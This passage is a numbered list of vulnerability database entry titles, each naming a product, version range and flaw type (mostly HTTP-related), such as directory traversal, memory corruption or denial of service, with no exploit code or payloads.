10193| [130257] pypiserver up to 1.2.5 HTTP Header CRLF privilege escalation
10194| [130251] Cisco SocialMiner Web-based User Interface HTTP Request cross site scripting
10195| [130245] Cisco RV320/RV325 Web-based Management Interface HTTP POST Request Command privilege escalation
10196| [130239] Cisco Connected Mobile Experiences API HTTP GET Request privilege escalation
10197| [130127] Cisco Identity Services Engine Administrative Web Interface HTTP Request privilege escalation
10198| [129977] Axway File Transfer Direct 2.7.1 HTTP GET Request directory traversal
10199| [129717] Oracle Secure Global Desktop 5.4 Apache HTTP Server denial of service
10200| [129573] Oracle WebLogic Server 10.3.6.0 Apache HTTP Server denial of service
10201| [129474] Oracle Communications Diameter Signaling Router up to 8.2 Apache HTTP Server information disclosure
10202| [129765] Juniper Junos on SRX HTTP Crash denial of service
10203| [129762] Juniper Junos Packet Forwarding Engine HTTP Packet Pointer Dereference denial of service
10204| [129148] LIVE555 Streaming Media 0.93 RTSPServer GroupsockHelper.cpp handleHTTPCmd_TunnelingPOST denial of service
10205| [128801] Cisco IOS/IOS XE TCP Socket HTTP Requests Reload denial of service
10206| [128981] McAfee Web Gateway 7.8.2.0 HTTP Request denial of service
10207| [128892] i-filter up to 9.50R05 HTTP Response Splitting privilege escalation
10208| [128836] Cybozu Dezie up to 8.1.2 HTTP Requests directory traversal
10209| [128834] Cybozu Office up to 10.8.1 HTTP Requests directory traversal
10210| [128831] Seiko Epson PX-S860 HTTP Header Header Injection privilege escalation
10211| [128809] Aterm W300P up to 1.0.13 HTTP Request memory corruption
10212| [128806] Aterm W300P up to 1.0.13 HTTP Request OS Command Injection privilege escalation
10213| [128805] Aterm WG1200HP up to 1.0.31 HTTP Request OS Command Injection privilege escalation
10214| [128691] Webroot BrightCloud SDK Header bc_http_read_header HTTP Header memory corruption
10215| [128680] MiniShare up to 1.4.1 HTTP POST Request memory corruption
10216| [128679] MiniShare up to 1.4.1 HTTP HEAD Request memory corruption
10217| [128607] Proxygen HTTP2 Parser Header/Trailer denial of service
10218| [128606] Proxygen HTTP2 Priority Setting denial of service
10219| [128541] NuttX up to 7.26 netlib_parsehttpurl.c netlib_parsehttpurl() denial of service
10220| [128368] Cisco ASA Web Management Interface HTTP Requests privilege escalation
10221| [128229] Logitech Harmony Hub up to 4.15 HTTP Request command injection
10222| [128204] WebID 1.2.2 getthumb.php HTTP GET Request directory traversal
10223| [128189] WebID 1.2.2 HTTP Request Blind sql injection
10224| [128171] Zend.To up to 5.15 verify.php HTTP POST Request cross site scripting
10225| [128146] aio-libs aiohttp-session up to 2.6.0 EncryptedCookieStorage/NaClCookieStorage Cookie weak authentication
10226| [128100] Webroot BrightCloud SDK HTTP Client TLS Certificate weak encryption
10227| [127994] WordPress up to 5.0.0 on Apache httpd MIME Restriction cross site scripting
10228| [127981] Apache OFBiz 16.11.01/16.11.02/16.11.03/16.11.04 HTTP Engine httpService GET Request privilege escalation
10229| [127898] IBM BigFix Platform up to 9.5.9 Cookie httponly privilege escalation
10230| [127895] IBM BigFix Platform up to 9.5.9 HTTP Response Splitting privilege escalation
10231| [127877] SAP NetWeaver AS JAVA up to 7.50 Web Container HTTP Host Header cross site scripting
10232| [127866] urllib3 up to 1.22 Authorization HTTP Header Credentials information disclosure
10233| [127656] Moxa NPort W2x50A up to 2.1 Web Server webSettingProfileSecurity HTTP POST Request privilege escalation
10234| [127655] Moxa NPort W2x50A up to 2.1 Web Server net_WebPingGetValue HTTP POST Request privilege escalation
10235| [127532] IBM Maximo Asset Management 7.6 HTTP Request Username information disclosure
10236| [127456] simplehttpserver up to 0.2.1 directory traversal
10237| [127439] YunoHost up to 2.7.14 HTTP Response Header Header Injection privilege escalation
10238| [127426] MetInfo 6.1.3 HTTP Header applogin.php Variable privilege escalation
10239| [127368] TP-LINK TL-R600VPN HTTP Server header-parsing HTTP Request Code Execution
10240| [127367] TP-LINK TL-R600VPN HTTP Server HTTP Request privilege escalation
10241| [127366] TP-LINK TL-R600VPN HTTP Server Web Request directory traversal
10242| [127374] Modicon M340, Premium, Quantum PLCs and BMXNOR0200 Embedded Web Server HTTP Response Response Splitting privilege escalation
10243| [127297] OCS Inventory NG File Upload HTTP Requests Code Execution
10244| [127281] OpenWrt/LEDE uhttpd cgi-bin/ cgi_handle_request Request cross site scripting
10245| [127268] Cisco Prime License Manager Web Framework HTTP POST Request sql injection
10246| [127261] Node.js up to 6.14.x/8.13.x/10.13.x/10.2.x HTTP Header Slowloris denial of service
10247| [127260] Node.js up to 6.14.x/8.13.x/10.13.x HTTP Header Heap-based denial of service
10248| [127258] Node.js up to 6.14.x/8.13.x HTTP Request Response Splitting privilege escalation
10249| [127124] Buffalo TS5600D1206 3.61-0.10 nasapi HTTP Host Header weak authentication
10250| [127077] HuCart 5.7.4 helper_class.php get_ip() HTTP Header sql injection
10251| [127056] PRTG Network Monitor up to 18.2.40 /api/addusers HTTP Request privilege escalation
10252| [127055] PRTG Network Monitor up to 18.2.40 /public/login.htm HTTP Request privilege escalation
10253| [127040] Loadbalancer.org Enterprise VA MAX up to 8.3.2 Apache HTTP Server Log cross site scripting
10254| [126973] ZTE ZXHN F670 V1.1.10P3T18 appviahttp Service privilege escalation
10255| [126970] ZTE ZXHN F670 V1.1.10P3T18 appviahttp Service information disclosure
10256| [126905] NEOJAPAN Denbun Mail Search HTTP Requests sql injection
10257| [126802] Nagios XI 5.5.6 HTTP Request Command privilege escalation
10258| [126801] Nagios XI 5.5.6 Snoopy 1.0 HTTP Request privilege escalation
10259| [126669] PRTG Network Monitor up to 18.3 HTTP Advanced Sensor HttpAdvancedSensor.exe POST Parameter privilege escalation
10260| [126668] PRTG Network Monitor up to 18.2 PRTG Core Server Service HTTP Request denial of service
10261| [126649] JEESNS 1.3 XssHttpServletRequestWrapper.java cross site scripting
10262| [126577] Cisco Stealthwatch Enterprise Management Console HTTP Request privilege escalation
10263| [126530] lighttpd up to 1.4.49 mod_alias_physical_handler mod_alias.c directory traversal
10264| [126525] nginx up to 1.14.0/1.15.5 ngx_http_mp4_module Loop denial of service
10265| [126524] nginx up to 1.14.0/1.15.5 HTTP2 CPU Exhaustion denial of service
10266| [126523] nginx up to 1.14.0/1.15.5 HTTP2 Memory Consumption denial of service
10267| [126406] Green Electronics RainMachine Mini-8/Touch HD 12 Web Application HTTP Header weak authentication
10268| [126080] zzcms 8.3 zt/top.php HTTP Header sql injection
10269| [126071] Acme mini_httpd up to 1.29 directory traversal
10270| [126002] Arcserve Unified Data Protection up to 6.5 Update 4 UdpHttpService XML External Entity
10271| [125972] Mozilla Firefox up to 62.x HTTP Warning spoofing
10272| [125961] Mozilla Firefox up to 62.x on Android HTTP Live Streaming privilege escalation
10273| [125916] Splunk Enterprise up to 6.2.13/6.3.9/6.4.6/6.5.4 HTTP Request denial of service
10274| [125914] Splunk Enterprise up to 6.2.13/6.3.10/6.4.7 Splunkd HTTP Request denial of service
10275| [125841] Advantech WebAccess up to 8.3.2 opcImg.asp HTTP Request memory corruption
10276| [125828] LIVE555 RTSP Server 0.92 HTTP Packet Parser Crafted Packet Stack-based memory corruption
10277| [125726] Cisco Enterprise NFV Infrastructure Software Management Interface HTTP Requests cross site request forgery
10278| [125710] Cisco Wireless LAN Controller Software Web-based Interface HTTP Request information disclosure
10279| [125668] D-Link DWR-111 Web Interface HTTP Request directory traversal
10280| [125569] Oracle PeopleSoft Enterprise PeopleTools 8.55/8.56 Apache HTTP Server information disclosure
10281| [125443] Oracle HTTP Server 12.2.1.3 Web Listener memory corruption
10282| [125276] Micro Focus Enterprise Developer and Enterprise Server up to 2.3 Update 2/3.0 Update 11/4.0 Update 1 HTTP Request Parameter NULL Pointer Dereference denial of service
10283| [125222] Eclipse Vert.x up to 3.5.3 HTTP Response denial of service
10284| [125186] EpiCentro E_7.3.2+ httpd GET Request memory corruption
10285| [125185] EpiCentro E_7.3.2+ httpd GET Request memory corruption
10286| [125038] privacyIDEA up to 2.23.1 /validate/check HTTP Request denial of service
10287| [124952] wp-slimstat Plugin up to 4.1.6.0 on WordPress HTTP Referer Header cross site scripting
10288| [124931] Cisco HyperFlex HX Data Platform Web-based UI HTTP Requests information disclosure
10289| [124925] Cisco HyperFlex Software Web UI HTTP Requests Clickjacking privilege escalation
10290| [124907] Cisco Integrated Management Controller Web Interface HTTP Request information disclosure
10291| [124906] Cisco Integrated Management Controller Web Interface HTTP Request denial of service
10292| [124892] Cicoandcico ASA/Firepower Threat Defense Cryptographic Hardware Accelerator Driver denial of service
10293| [124890] Cisco Prime Infrastructure HTTP Web Server File Upload privilege escalation
10294| [124862] Cisco IOS XE Web Framework HTTP Packet memory corruption
10295| [124861] Cisco IOS XE Web User Interface HTTP Requests Double-Free denial of service
10296| [124853] Cisco Enterprise NFV Infrastructure Software Web-based Management Interface HTTP Request denial of service
10297| [124839] Cisco Data Center Network Manager Web Interface HTTP Request privilege escalation
10298| [124821] Cisco RV180W/RV220W Web Framework HTTP Request directory traversal
10299| [124651] TP-LINK TL-WRN841N 0.9.1 4.16 v0348.0 Web Interface HTTP Header denial of service
10300| [124650] TP-LINK TL-WRN841N 0.9.1 4.16 v0348.0 Web Interface HTTP Header denial of service
10301| [124496] AssoCIateD Postman up to up to 6.3.0 X.509 Certificate Validation HTTPS Request Man-in-the-Middle information disclosure
10302| [124469] Philips e-Alert Unit up to R2.1 HTTP Response Header Banner information disclosure
10303| [124447] Apache HTTP Server up to 2.4.34 SETTINGS Frame denial of service
10304| [124430] Python up to 3.8 Elementtree C Accelerator XML Document Collision denial of service
10305| [124436] Asterisk PBX up to 13.23.0/14.7.7/15.6.0 res_http_websocket.so HTTP Request denial of service
10306| [124392] Samsung SmartThings Hub Video-Core HTTP Server HTTP Request Stack-based memory corruption
10307| [124391] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server /cameras/XXXX/clips memory corruption
10308| [124390] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
10309| [124389] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
10310| [124388] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
10311| [124387] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
10312| [124346] Apache Mesos pre-1.4.2/1.5.0/1.5.1/1.6.0 on Executor HTTP API String Comparison validation JSON Web Token information disclosure
10313| [124239] NUUO NVRMini2 up to 3.8.0 cgi_system HTTP Requests privilege escalation
10314| [124237] Foscam C1 Indoor HD Camera 2.52.2.43 Web Management Interface HTTP Request memory corruption
10315| [124233] Foscam C1 Indoor HD Camera 2.52.2.43 Web Management Interface HTTP Request command injection
10316| [124159] Oracle WebCenter Interaction Portal 10.3.3 Session Cookie httponly privilege escalation
10317| [124139] Foscam C1 Indoor HD Camera 2.52.2.43 Recovery Procedure HTTP Request privilege escalation
10318| [124133] Insteon Hub 1012 HTTP Server GET Parameter information disclosure
10319| [124127] zzcms 8.3 HTTP Header /user/check.php sql injection
10320| [124081] D-Link DIR-816 A2 1.10 B05 /goform/sylogapply handler HTTP Request command injection
10321| [124077] LG SuperSign CMS Service Port 9080 reboot HTTP Request denial of service
10322| [123966] Monstra CMS 3.0.4 Captcha cryptographp.php HTTP Header privilege escalation
10323| [123948] Lone Wolf Technologies loadingDOCS 2018-08-13 Permission HTTPS Request privilege escalation
10324| [123905] xunfeng 0.2.0 views/lib/AntiCSRF.py HTTP Header cross site request forgery
10325| [123754] OctoPrint up to 1.3.9 Service Port 8081 HTTP Requests privilege escalation
10326| [123732] KONE Group Controller up to 4.6.5 HTTP interfaces Parameter Local File Inclusion privilege escalation
10327| [123730] KONE Group Controller up to 4.6.5 HTTP interfaces Code Execution
10328| [123729] KONE Group Controller up to 4.6.5 HTTP interfaces denial of service
10329| [123599] NodeJS Tough-Cookie 2.2.2 HTTP Cookie Regular Expression denial of service
10330| [123537] Gogs 0.11.53 HTTP GET Request Server-Side Request Forgery
10331| [123464] simplehttpserver up to 0.2.0 Listing directory traversal
10332| [123434] Lightbend Akka HTTP up to 10.0.13/10.1.4 decodeRequest/decodeRequestWith Request denial of service
10333| [123390] Apache Traffic Server up to 6.2.2/7.1.3 Request HTTP Smuggling privilege escalation
10334| [123380] Cybrotech CyBroHttpServer 1.0.3 URI cross site scripting
10335| [123379] Cybrotech CyBroHttpServer 1.0.3 URI directory traversal
10336| [123346] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests privilege escalation
10337| [123336] D-Link DIR-615 HTTP Header memory corruption
10338| [123293] Samsung SmartThings Hub STH-ETH-250 0.20.17 hubCore Process HTTP Request denial of service
10339| [123292] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
10340| [123291] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process /cameras/XXXX/clips HTTP Request memory corruption
10341| [123259] mod_perl up to 2.0.10 .htaccess HTTP Request privilege escalation
10342| [123207] NEC Aterm WG2600HP2 1.0.2 Web Service API negotiate HTTP Request privilege escalation
10343| [123205] PLANEX CS-W50HD up to 30719 Web Management UI /cgi-bin/nasset.cgi HTTP POST Request command injection
10344| [123204] D-Link EyeOn Baby Monitor DCS-825L 1.08.1 Web Service Framework HTTP Requests command injection
10345| [123202] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests REST privilege escalation
10346| [123201] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests JSON privilege escalation
10347| [123194] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests Stack-based memory corruption
10348| [123193] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
10349| [123191] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Header Injection privilege escalation
10350| [123190] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
10351| [123189] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
10352| [123188] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
10353| [123187] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based sql injection
10354| [123186] Samsung SmartThings Hub STH-ETH-250 0.20.17 Credentials HTTP Requests JSON sql injection
10355| [123184] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video Core HTTP Request Stack-based memory corruption
10356| [123183] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video Core HTTP Requests Stack-based memory corruption
10357| [123181] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
10358| [123178] Insteon Hub 1013 HTTP Server /mpfsupload POST Request privilege escalation
10359| [123161] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server Disconnect denial of service
10360| [123160] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server JSON Recursion denial of service
10361| [123159] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server HTTP POST Request Memory Exhaustion denial of service
10362| [123156] Insteon Hub 2245-222 1012 PubNub Service HTTP Request Stack-based memory corruption
10363| [123045] PostgreSQL up to 9.3.14/9.4.9/9.5.4 Interactive Installer HTTP privilege escalation
10364| [123020] EmbedThis GoAhead/Appweb HTTP POST Request NULL Pointer Dereference denial of service
10365| [123019] EmbedThis GoAhead/Appweb HTTP Request NULL Pointer Dereference denial of service
10366| [122911] Sony IPELA E Network Camera G5 1.87.00 GET Request HTTP Request command injection
10367| [122891] Eclipse Vert.x up to 3.5.1 HttpServer/HttpClient Header Header Injection privilege escalation
10368| [122889] Apache HTTP Server up to 2.2.31/2.4.23 mod_userdir HTTP Response Splitting privilege escalation
10369| [122737] CouchDB up to 2.1.x HTTP API Code Execution
10370| [122650] Insteon Hub up to 1012 PubNub Service HTTP Request Stack-based memory corruption
10371| [122649] Insteon Hub up to 1012 PubNub Message HTTP Request Stack-based memory corruption
10372| [122581] OCS Inventory 2.4.1 XML Parser HTTP Request privilege escalation
10373| [122593] PHP up to 7.0.26/7.1.12/7.2.0 http_fopen_wrapper.c HTTP Response memory corruption
10374| [122591] Symfony up to 4.1.2 HttpKernel Header privilege escalation
10375| [122590] Symfony up to 4.1.2 Http Foundation prepareRequestUri() Request Header privilege escalation
10376| [122565] Insteon Hub 1013 HTTP Server HTTP Requests denial of service
10377| [122545] SAP BPC Reporting HTTP Requests XML External Entity
10378| [122544] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10379| [122543] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10380| [122542] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10381| [122541] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10382| [122540] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10383| [122539] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10384| [122538] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10385| [122537] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10386| [122536] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10387| [122535] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
10388| [122534] Insteon Hub 1012 HTTP Server HTTP GET Request Stack-based memory corruption
10389| [122533] Insteon Hub 1012 HTTP Server HTTP GET Request memory corruption
10390| [122532] Insteon Hub 1012 HTTP Server HTTP GET Request memory corruption
10391| [122507] Agiletestware Pangolin Connector for TestRail Plugin up to 2.1 on Jenkins GlobalConfig.java HTTP Requests privilege escalation
10392| [122501] TraceTronic ECU-TEST Plugin up to 2.3 on Jenkins ATXPublisher.java HTTP Requests Server-Side Request Forgery
10393| [122471] Ceph 1.3.x Object Gateway HTTP Requests CORS denial of service
10394| [122291] Undertow HTTP HTTP Response Cache Poisoning privilege escalation
10395| [122256] Undertow up to 1.3.30/1.4.16 HTTP Request Header Request Smuggling privilege escalation
10396| [122199] F5 BIG-IP up to 11.6.3.2/12.1.3.6/13.0.1 HTTP Health Monitor unknown vulnerability
10397| [122198] F5 BIG-IP ASM up to 11.5.6/11.6.3.1/12.1.3.5/13.1.0.1 bd HTTP Requests CPU Exhaustion denial of service
10398| [122106] Jenkins up to 2.121.1/2.132 Stapler Web Framework Stapler.java HTTP Requests directory traversal
10399| [122017] IBM Sterling B2B Integrator up to 5.2.6 HTTP Requests information disclosure
10400| [121993] F5 BIG-IP up to 11.6.3/12.1.3/13.1.0 TMM HTTP Response Restart denial of service
10401| [121953] Wireshark up to 2.6.1 HTTP2 Dissector packet-http2.c Packet denial of service
10402| [121935] Cisco Policy Suite Policy Builder HTTP Request privilege escalation
10403| [121916] Cisco SD-WAN Solution up to 18.2.x Configuration/Management HTTP Request denial of service
10404| [121910] Apache HTTP Server 2.4.33 mod_md HTTP Requests denial of service
10405| [121900] Atlassian up to 2.0.2 atlassian-http Content-Type spoofing
10406| [121870] Oracle Sun ZFS Storage Appliance Kit (AK) up to 8.7.17 HTTP Data Path Subsystems unknown vulnerability
10407| [121540] Play Framework 2.6.12/2.6.13/2.6.14/2.6.15 on Windows Assets Controller HTTP Requests directory traversal
10408| [121481] VelotiSmart WiFi B-380 Camera 1.0.0 uc-http Service directory traversal
10409| [121463] Hughes HN7740S/DW7000/HN7000S-SM /com/gatewayreset HTTP GET Request privilege escalation
10410| [121447] Imagely NextGEN Gallery up to 2.1.56 on WordPress HTTP POST Request privilege escalation
10411| [121436] Zizai Nut App HTTP weak encryption
10412| [121354] Apache CouchDB HTTP API Code Execution
10413| [121324] Juniper SRX HTTP/HTTPS Request Man-in-the-Middle weak encryption
10414| [121194] Intel Manageability Engine up to 11.x Active Management Technology HTTP Request memory corruption
10415| [120939] ABBYY FlexiCapture 12 Release 1 Update 6 HTTP API SevaUserProfile Parameter privilege escalation
10416| [120492] Synology SSL VPN Client up to 1.2.4 HTTP Daemon Man-in-the-Middle privilege escalation
10417| [120309] Schneider Electric U.motion Builder up to 1.3.3 HTTP GET Request unknown vulnerability
10418| [120247] Sonos Wireless Speaker UPnP HTTP Server DNS Rebinding privilege escalation
10419| [119992] AXIS IP Camera httpd memory corruption
10420| [119975] Openstack Cloud Plugin up to 2.35 on Jenkins BootSource.java HTTP Requests information disclosure
10421| [119967] Trovebox up to 4.0.0-rc6 Password Reset HTTP Request privilege escalation
10422| [119966] Trovebox up to 4.0.0-rc6 HTTP Request Server-Side Request Forgery
10423| [119965] Trovebox up to 4.0.0-rc6 Album HTTP Request sql injection
10424| [119964] Trovebox up to 4.0.0-rc6 Album View HTTP Request weak authentication
10425| [119962] Wekan 1.04.0 HTTP Request User information disclosure
10426| [119936] aio-libs aiohttp-session Session Session Fixation weak authentication
10427| [119873] Eclipse Jetty up to 9.2.x/9.3.x/9.4.x HTTP 0.9 Request Cache Poisoning privilege escalation
10428| [119842] Spring Framework up to 4.3.17/5.0.6 MVC HTTP Request cross site scripting
10429| [119837] DIGISOL DG-BR4000NG Authorization Header HTTP Header memory corruption
10430| [119811] MISP 2.4.92 Brute-Force Protection UsersController.php HTTP PUT Request privilege escalation
10431| [119795] Micro Focus Business Manager up to 11.3 HTTP Header Reflected privilege escalation
10432| [119783] Cisco Meeting Server Web Admin Interface HTTP Requests Restart denial of service
10433| [119774] Cisco NX-OS NX-API Subsystem HTTP Packet command injection
10434| [119764] Cisco FXOS/UCS Fabric Interconnect Software Web UI HTTP Packet memory corruption
10435| [119747] Cisco NX-OS NX-API Subsystem HTTP Packet memory corruption
10436| [119690] Mongoose 6.11 HTTP Request mongoose.c mbuf_insert memory corruption
10437| [119676] Linaro Lava Submit Page HTTP Request File information disclosure
10438| [119660] PortSwigger Burp Suite Community Edition 1.7.32/1.7.33 Server Certificate Validator HTTPS Request Man-in-the-Middle weak encryption
10439| [122569] Apache HTTP Server up to 2.4.33 HTTP2 Request denial of service
10440| [119595] McAfee ePolicy Orchestrator up to 5.9.1 Application Protection HTTP Request privilege escalation
10441| [119569] Automated Logic WebCTRL 6.0/6.1/6.5 HTTP Header XML External Entity
10442| [119545] Huawei HG255s-10 V100R001C163B025SP02 HTTP Requests directory traversal
10443| [119539] Node.js 9.x/10.x HTTP Server Crash denial of service
10444| [119503] SensioLabs Symfony up to 2.7.47/2.8.40/3.3.16/3.4.10/4.0.10 HttpFoundation PDOSessionHandler denial of service
10445| [119470] Microsoft Windows up to Server 2016 HTTP HTTP.sys denial of service
10446| [119437] Microsoft Windows up to Server 2016 HTTP Protocol Stack Http.sys memory corruption
10447| [119408] Western Digital TV Media Player/TV Live Hub Web Server toServerValue.cgi HTTP Requests Code Execution
10448| [119376] McAfee Network Security Management up to 8.2.7 Web Interface HTTP Request privilege escalation
10449| [119280] XiongMai uc-httpd 1.0.0 memory corruption
10450| [119262] McAfee Common UI 2.0.2 ePO Extension HTTP Request privilege escalation
10451| [119227] Cisco ASA Authentication HTTP Traffic privilege escalation
10452| [119218] https-proxy-agent up to 2.1.0 on Node.js JSON Parameter Memory Leak denial of service
10453| [119215] https-proxy-agent on Node.js Memory Leak denial of service
10454| [119198] simplehttpserver on Node.js cross site scripting
10455| [119195] angular-http-server on Node.js URL directory traversal
10456| [119121] fast-http-cli on Node.js URL directory traversal
10457| [119101] http_static_simple on Node.js URL directory traversal
10458| [119096] HTTP Client Module on Node.js ZIP Archive Memory Consumption denial of service
10459| [119066] charset up to 1.0.0 on Node.js DHTTP_MAX_HEADER_SIZE Regular Expression denial of service
10460| [119065] tiny-http on Node.js URL directory traversal
10461| [119062] iter-http on Node.js URL directory traversal
10462| [119044] http-proxy.js on Node.js Environment Variable privilege escalation
10463| [118985] Jenkins up to 2.120/LTS 2.107.2 ZipExtractionInstaller.java HTTP GET Request Server-Side Request Forgery
10464| [118904] Http-proxy up to 0.6.x on Node.js Error Crash denial of service
10465| [118903] Hapi up to 16.1.0 on Node.js HTTP Header Crash denial of service
10466| [118896] http-signature up to 0.9.11 on Node.js Download weak encryption
10467| [118617] Nikto up to 2.1.6 CSV Report HTTP Response Header privilege escalation
10468| [118522] httpsync on Node.js Download weak encryption
10469| [118302] Hapi Module up to 11.1.2 on Node.js HTTP Header denial of service
10470| [118281] dtSearch up to 7.90.8538.1 search HTTP Request denial of service
10471| [118237] Trend Micro Smart Protection Server 3.x HTTP HTTP Requests denial of service
10472| [118220] HAProxy up to 1.8.9 Authorization Header proto_http.c check_request_for_cacheability information disclosure
10473| [118162] ABB SREA-01/SREA-50 HTTP Request privilege escalation
10474| [117974] D-Link DIR-550A/DIR-604M up to 2.10KR HTTP Request Code Execution
10475| [117891] Node.js HTTP Parser unknown vulnerability
10476| [117782] Intelbras NCLOUD 300 1.0 ExportSettings.sh HTTP POST Request weak authentication
10477| [117662] D-Link DIR-816 A2 CN 1.10B05 GoAhead Web Server websRedirect HTTP Host Header memory corruption
10478| [117553] SAP Internet Graphics Server 7.20/7.20EXT/7.45/7.49/7.53 HTTP Listener/RFC Listener Flooding denial of service
10479| [117415] nghttp2 up to 0.9.x/1.30.x ALTSVC Frame Segmentation Fault denial of service
10480| [117389] GNU wget up to 1.19.4 Cookie http.c resp_new privilege escalation
10481| [117355] Sierra Wireless AirLink LS300 HTTP Request privilege escalation
10482| [117347] Apache Ambari up to 2.6.1 HTTP Request directory traversal
10483| [117210] Huawei MBB E5771h-937 Webserver HTTP Request denial of service
10484| [117182] CMS Made Simple up to 2.2.7 tmp/ HTTP Requests privilege escalation
10485| [117164] Edimax IC-3140W/5150W/IC-6220DC getsysyeminfo.cgi strcpy() HTTP Request memory corruption
10486| [117054] GNOME libsoup 2.58 HTTP Request Stack-based memory corruption
10487| [117046] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
10488| [117045] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
10489| [116954] Ericsson-LG iPECS NMS A.1Ac HTTP POST Request information disclosure
10490| [116924] Belkin N750 1.10.22 Telnet set.cgi HTTP Request weak authentication
10491| [116923] Belkin N750 1.10.22 HTTP Request proxy.cgi memory corruption
10492| [116922] Belkin N750 1.10.22 HTTP Request proxy.cgi privilege escalation
10493| [116921] Belkin N750 1.10.22 HTTP Request twonky_command.cgi privilege escalation
10494| [116884] Cisco MATE Live Web Interface HTTP Requests information disclosure
10495| [116586] Schneider Electric BMXNOR0200 Request Parser HTTP Request Code Execution
10496| [116564] gunicorn 19.4.5 gunicorn/http/wsgi.py process_headers HTTP Header privilege escalation
10497| [116561] Fyodor Nmap up to 7.60 http-fetch directory traversal
10498| [116818] Oracle Sun ZFS Storage Appliance Kit up to 8.7.16 HTTP data path subsystems information disclosure
10499| [116815] Oracle Sun ZFS Storage Appliance Kit up to 8.7.16 HTTP data path subsystems denial of service
10500| [116700] Oracle HTTP Server 12.1.3/12.2.1.2 OSSL Module information disclosure
10501| [116309] Appear TV XC5000/XC5100 3.26.217 Web Server HTTP GET Request directory traversal
10502| [116206] plays.tv Service up to 1.27 plays_service.exe HTTP Message privilege escalation
10503| [116205] plays.tv Service up to 1.27 plays_service.exe HTTP Message privilege escalation
10504| [116168] F5 BIG-IP up to 11.5.5/11.6.2/12.1.2 SPDY/HTTP2 Request denial of service
10505| [116218] CyberArk Password Vault Web Access up to 9.9.4 REST API HTTP Header privilege escalation
10506| [116171] Kaazing Gateway/Gateway JMS Edition HTTP/WebSocket HTTP Request privilege escalation
10507| [116140] Kaazing Gateway/Gateway JMS Edition 4.0.2/4.0.3/4.0.4 WebSocket HTTP Request Response Splitting information disclosure
10508| [116100] ubiQuoss VP5208A /cgi-bin/bcm_password HTTP Request information disclosure
10509| [116054] Symantec Advanced Secure Gateway/CacheFlow/ProxySG Management Console HTTP/HTTPS Request Crash denial of service
10510| [116024] Microsoft Windows up to Server 2016 HTTP.sys denial of service
10511| [115904] Moxa MXView 2.8 Private Key HTTP GET Request information disclosure
10512| [115670] D-Link DSL-3782 1.01 Diagnostics /userfs/bin/tcapi Diagnostics_Entry HTTP Request memory corruption
10513| [115665] Ruby up to 2.2.9/2.3.6/2.4.3/2.5.0 WEBrick Server HTTP Request Memory Consumption denial of service
10514| [115637] Ruby up to 2.2.9/2.3.6/2.4.3/2.5.0 HTTP Server HTTP Response Split privilege escalation
10515| [115496] SickRage HTTP Response Credentials information disclosure
10516| [115192] Cisco IOS XE Web-based User Interface HTTP Requests privilege escalation
10517| [115105] Cisco Spark Hybrid Calendar Service Auto Discovery HTTP Request weak encryption
10518| [115061] Apache HTTP Server up to 2.4.29 HTTP Digest Authentication Challenge HTTP Requests Replay privilege escalation
10519| [115060] Apache HTTP Server up to 2.4.29 mod_cache_socache Request Header Crash denial of service
10520| [115059] Apache HTTP Server up to 2.4.29 HTTP2 NULL Pointer Dereference denial of service
10521| [115058] Apache HTTP Server up to 2.4.29 HTTP Header Crash denial of service
10522| [115057] Apache HTTP Server up to 2.4.29 mod_session Variable Name Cache privilege escalation
10523| [115039] Apache HTTP Server up to 2.4.29 FilesMatch File Upload privilege escalation
10524| [115038] Apache HTTP Server up to 2.0.65/2.2.34/2.4.29 mod_authnz_ldap Crash denial of service
10525| [114947] IBM Jazz Foundation HTTP Request information disclosure
10526| [114784] Ceph up to 12.2.3/13.0.1 rgw_civetweb.cc RGWCivetWeb::init_env HTTP Header denial of service
10527| [114750] YzmCMS 3.7.1 global.func.php HTTP POST Request Code Execution
10528| [114661] Apache Allura up to 1.8.0 HTTP Response Splitting privilege escalation
10529| [114583] Jolokia Agent 1.3.7 HTTP Servlet cross site scripting
10530| [114395] brianleroux tiny-json-http SSL Certificate Validator Man-in-the-Middle weak authentication
10531| [114369] Flexense SyncBreeze Enterprise 10.6.24 Web Server syncbrs.exe HTTP Requests memory corruption
